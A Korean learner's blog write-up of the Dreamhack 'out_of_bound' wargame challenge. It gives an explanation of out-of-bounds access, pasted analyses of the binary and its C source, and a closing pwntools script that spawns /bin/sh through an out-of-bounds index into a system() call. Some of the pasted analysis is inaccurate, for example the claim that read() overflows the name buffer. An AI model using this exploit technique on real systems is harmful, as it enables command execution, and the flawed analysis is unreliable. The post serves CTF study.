Dreamhack/Dreamhack Wargame (Challenge)

[53] IT 비전공자 [dreamhack]out_of_bound문제 풀기

imaginefuture-1 2024. 11. 1. 10:03

 

 

후후 딱봐도 스택오버플로우 문제군 (하지만 풀 줄은 모르는..)

 

○ Out Of Bound(OOB)
배열이나 리스트와 같은 데이터 구조에서 정의된 인덱스나 범위를 넘어선 위치에 접근하는 경우를 의미한다.
즉, 배열의 범위를 벗어나는 참조라 하여 Out of Bound라고 부른다.
예를 들어보자.
 
char command[10]이 있다고 하자. command[idx]을 조회하는 과정에서 idx를 10으로 입력하면 어떻게 될까?
 
command[10]을 참조하는 상황이 발생한다.
 
command[10]은 idx가 0~9만 존재한다. 하지만 9를 벗어나는 10을 참조하게 된다.
즉, command[10]의 영역을 벗어나는 메모리를 참조하게 된다.
이렇게 개발자가 의도하지 않은 메모리 영역을 참조하는 취약점을 Out of Bound라고 한다.

만약, read/write 기능이 구현된 상황이라면 의도하지 않은 메모리 영역을 읽거나 조작할 수 있기 때문에 위험한 취약점이다.


출처ㅣ https://keyme2003.tistory.com/entry/dreamhack-outofbound

 

 

 

 

주어진 정보는 특정 바이너리의 보안 특성과 관련된 내용을 보여줍니다. 이 정보를 분석하고, 각 요소가 의미하는 바와 잠재적인 취약점을 설명하겠습니다.

### 시스템 및 보안 특성 분석

1. **Ubuntu 16.04**:
   - 사용 중인 운영체제 버전입니다. 16.04는 오래된 버전이므로 최신 보안 패치가 적용되지 않을 수 있습니다.

2. **Arch: i386-32-little**:
   - 이 바이너리는 32비트 아키텍처로 컴파일되었습니다. 32비트 아키텍처는 64비트에 비해 주소 공간이 제한적이며, 특정 취약점(예: 버퍼 오버플로우) 공격이 더 쉽게 발생할 수 있습니다.

3. **RELRO: Partial RELRO**:
   - RELRO( Read-Only Relocations)는 ELF 바이너리의 보안 기능으로, 데이터 영역의 일부를 읽기 전용으로 설정하여 GOT( Global Offset Table) 수정 공격을 방지합니다. Partial RELRO는 일부 보호 기능이 활성화되어 있지만 완전한 보호가 아닙니다. 공격자가 GOT를 덮어쓸 수 있는 가능성이 여전히 존재합니다.

 

GOT때문에 CTF문제 저거 아직도 이해못하고 못 푼거 있다...살려줘

4. **Stack: Canary found**:
   - 스택 카나리(Stack Canary)는 스택 오버플로우 공격을 방지하기 위한 보안 기법입니다. 이 기법은 스택 프레임의 반환 주소에 대한 공격을 탐지합니다. 만약 카나리가 손상되면 프로그램이 종료됩니다. 하지만 이 방식이 100% 안전하지 않으며, 특정 공격 기법(예: Ret2Libc)을 사용할 경우 우회할 수 있습니다.5. **NX: NX enabled**:
   - NX( No eXecute) 비트가 활성화되어 있어 데이터 영역에서 코드를 실행할 수 없습니다. 즉, 스택이나 힙에 있는 악성 코드를 실행하는 것이 불가능합니다. 그러나 공격자는 여전히 다른 기법(예: 코드 재사용 공격)을 사용할 수 있습니다.

6. **PIE: No PIE (0x8048000)**:
   - PIE( Position Independent Executable)가 비활성화되어 있습니다. 즉, 바이너리가 항상 같은 메모리 주소에서 로드되므로, 공격자는 함수의 주소를 쉽게 예측할 수 있습니다. 이는 특정 공격(예: GOT 덮어쓰기 공격, Return Oriented Programming, ROP)에서 유리합니다.

 

이거 그때 주소 알아서 덮어씌우는 방법 저번에 풀었던 문제랑 비슷한 것 같다..그때도 원리는 이해했지만,

과정이 험난했던..(먼산)

### 잠재적 취약점

1. **Partial RELRO**:
   - GOT 항목이 완전히 보호되지 않으므로, 공격자는 특정 함수(예: `system`)를 호출하기 위해 GOT 항목을 덮어쓸 수 있습니다. 이는 취약점이 있는 프로그램에서 악의적인 사용자가 임의의 코드를 실행할 수 있는 기회를 제공합니다.

2. **스택 카나리 우회 가능성**:
   - 카나리는 오버플로우를 방지하는 데 유용하지만, 이를 우회하는 방법이 존재합니다. 예를 들어, 반환 주소를 변경하는 대신, 스택의 다른 위치를 조작하여 프로그램 흐름을 변경할 수 있습니다.

3. **PIE 비활성화**:
   - PIE가 비활성화되어 있으므로, 메모리 주소를 예측하기 쉬워 공격자가 특정 함수의 GOT 항목을 쉽게 조작할 수 있습니다. 이는 ROP 공격 및 GOT 덮어쓰기 공격을 쉽게 만드는 요인입니다.

4. **32비트 아키텍처의 취약성**:
   - 32비트 아키텍처는 주소 공간이 제한되어 있어 더 많은 취약점을 발생시킬 가능성이 높습니다. 또한, 버퍼 오버플로우와 같은 공격이 더 쉽게 발생할 수 있습니다.

### 결론

이 바이너리는 특정 보안 기능이 활성화되어 있지만, 여러 취약점이 존재합니다. Partial RELRO와 PIE 비활성화는 공격자가 GOT를 조작하여 시스템 함수를 호출할 수 있는 기회를 제공합니다. 스택 카나리와 NX 비트는 보안을 강화하지만, 여전히 다른 공격 기법을 통해 우회할 수 있습니다.

이와 같은 정보는 CTF나 보안 연구에서 중요한 역할을 하며, 바이너리의 취약점을 이해하고 공격 방법을 설계하는 데 도움이 됩니다. 추가적으로 궁금한 점이나 구체적인 질문이 있으면 언제든지 말씀해 주세요!


 

소스코드다

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

 

 

 

 

 

주어진 C 코드를 분석해 보겠습니다. 이 코드는 사용자가 입력한 관리자 이름을 받고, 사용자가 선택한 명령어를 실행하는 구조입니다. 코드의 주요 부분은 `read`, `scanf`, 그리고 `system` 함수 호출입니다. 아래는 각 부분에 대한 분석과 이 코드에서 발견할 수 있는 취약점입니다.

### 코드 분석

1. **전역 변수 및 배열**:
   ```c
   char name[16];
   char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" };
   ```
   - `name` 배열은 최대 15글자 + null 문자로 구성된 관리자 이름을 저장합니다.
   - `command` 배열은 실행할 수 있는 명령어 목록을 포함하고 있습니다.

2. **알람 핸들러**:
   ```c
   void alarm_handler() {
       puts("TIME OUT");
       exit(-1);
   }
   ```
   - `alarm_handler`는 타임아웃 시 호출되며, "TIME OUT" 메시지를 출력하고 프로그램을 종료합니다.

3. **초기화 함수**:
   ```c
   void initialize() {
       setvbuf(stdin, NULL, _IONBF, 0);
       setvbuf(stdout, NULL, _IONBF, 0);
       signal(SIGALRM, alarm_handler);
       alarm(30);
   }
   ```
   - 입력과 출력을 버퍼링하지 않도록 설정하고, SIGALRM 시그널을 핸들링하기 위해 `alarm_handler`를 등록하며 30초 후에 타임아웃을 설정합니다.

4. **주 함수**:
   ```c
   int main() {
       int idx;
       initialize();
       printf("Admin name: ");
       read(0, name, sizeof(name));
       printf("What do you want?: ");
       scanf("%d", &idx);
       system(command[idx]);
       return 0;
   }
   ```

### 취약점

1. **버퍼 오버플로우**:
   - `read(0, name, sizeof(name));`에서 사용자가 입력하는 관리자 이름은 최대 15글자까지 저장될 수 있습니다. 그러나, 만약 사용자가 15글자보다 긴 문자열을 입력하면, `name` 배열을 초과하여 메모리의 다른 부분에 덮어쓰기를 할 수 있습니다. 이로 인해 스택 오버플로우가 발생하고, 프로그램의 제어를 잃을 수 있습니다.
   - 특히, `name` 배열의 메모리 다음에는 `idx` 변수와 다른 지역 변수가 있을 가능성이 높기 때문에, 이들을 덮어쓰고 프로그램의 흐름을 조작할 수 있습니다.

2. **명령어 인덱스 검증 부족**:
   - `scanf("%d", &idx);`에서 사용자가 입력한 인덱스 `idx`에 대해 유효성 검사가 없습니다. 즉, 사용자가 0~4 범위 밖의 숫자를 입력하면, `system(command[idx]);`에서 정의되지 않은 행동을 할 수 있습니다. 이는 **Out-of-Bounds** 접근을 초래할 수 있으며, 이로 인해 프로그램이 비정상 종료되거나 예기치 않은 동작을 할 수 있습니다.

3. **`system()` 호출의 위험성**:
   - `system(command[idx]);`에서 `command[idx]`가 공격자에 의해 조작될 수 있는 상황이 생길 수 있습니다. 이를 통해 공격자는 임의의 시스템 명령어를 실행할 수 있습니다. 예를 들어, 인덱스를 조작하여 다른 명령어를 실행하도록 할 수 있습니다.

### 결론

위의 취약점들은 이 프로그램이 악의적인 사용자에 의해 쉽게 조작될 수 있는 요소를 가지고 있음을 보여줍니다. 특히, 버퍼 오버플로우와 인덱스 검증의 부재는 프로그램의 보안에 큰 영향을 미칠 수 있습니다. 따라서, 이러한 취약점을 방지하기 위해서는 입력에 대한 철저한 검증과 메모리 관리가 필요합니다. 추가적으로 더 궁금한 점이나 설명이 필요하시면 말씀해 주세요!

 

 

 


 

https://keyme2003.tistory.com/entry/dreamhack-outofbound

 

[dreamhack] out_of_bound

out_of_bound○ Out Of Bound(OOB)배열이나 리스트와 같은 데이터 구조에서 정의된 인덱스나 범위를 넘어선 위치에 접근하는 경우를 의미한다.즉, 배열의 범위를 벗어나는 참조라 하여 Out of Bound라고 부

keyme2003.tistory.com

이분 블로그 보고 감탄했다. 진짜 머릿속에 컴퓨터가 있으신가봐..어떻게..어떻게 풀이가 이렇게 완벽하지..?

진짜 멋있다.. 나도..나도 저렇게 코드 읽고 하나하나 해체해서 분석할 수 있게 공부 열심히해야겠다. 

와..완벽..완벽! 그자체!

어셈블리어 머릿속에 그냥, 어, 사람아니신것같은데..ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

 

from pwn import *
import warnings

warnings.filterwarnings( 'ignore' )

p = remote("nc host3.dreamhack.games", 18567)
e = ELF("./out_of_bound")
p.recvuntil("Admin name: ")
payload = p32(0x804a0ac+4) + b"/bin/sh"
p.sendline(payload)

p.recvuntil("What do you want?: ")
idx = "19"
p.sendline(idx)
p.interactive()

 페이로드 참고

캬하 반갑다